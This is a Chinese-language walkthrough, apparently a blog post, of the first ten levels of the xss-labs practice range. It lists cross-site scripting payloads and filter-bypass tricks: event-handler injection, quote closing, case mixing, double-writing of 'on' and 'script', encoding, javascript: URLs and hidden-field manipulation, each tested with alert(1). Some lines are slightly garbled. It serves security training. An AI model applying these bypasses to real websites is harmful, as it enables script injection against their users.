仅练习了前10关,并没有详细解释如何构造payload,如有需求可参考最后的文章。
靶场下载:蓝奏云-密码blhk
payload常用函数
onclick="alert(1)"#鼠标单击触发弹框
onfocus="alert(1)"#获得焦点弹框
使用第一关的语句 会发现被传输到下方的搜索框中 打开控制台看到语句 根据语句调整为
"onclick="javascript:alert(1)"
前面的双引号 是让前面语句闭合 然后传入一个事件是鼠标单击事件进行触发弹框,只需要点一下搜索框即可
使用第二关的payload发现没用 右键查看源代码发现被转实体了
htmlspecialchars()函数 详解
>& (和号) 成为&
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
发现单引号并没被过滤 使用单引号进行构造
'onclick='javascript:alert(1)'
输入level1的payload发现尖括号被过滤 使用level2的payload
成功弹框
"onclick="javascript:alert(1)"
on和script都被过滤 使用新的payload 也就是超链接形式
">
全部被过滤 插入下划线破坏语义
这里使用大小写混淆 来构造payload
"OnClicK="javascript:alert(1)"
过滤了on和script
采用双写进行绕过 构造payload
"oonnclick="javasscriptcript:alert(1)"
发现大小写耶无法绕过 尝试使用编码
Unicode编码转换 - 站长工具
插入代码 根据提示链接不合法 在后面跟加一个正确的url地址 使用//对后面进行注释
javascrip:alert(1)//http://www.baidu.com
虽然成功插入代码 但是还是无法弹框 利用编码转换一下
javascript:alert(1)//http://www.baidu.com
hidden 为隐藏值 我们通过如下代码测试哪些可以被改变
?keyword=&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
发现 t_sort被改变 以此为突破点构造xss 同时发现scrip被过滤 所以构造如下payload
1&t_sort=" type="text" onclick="alert('xss')
具体详情可阅读此篇文章:xss-labs通关大合集_wo41ge的博客-CSDN博客_xss-labs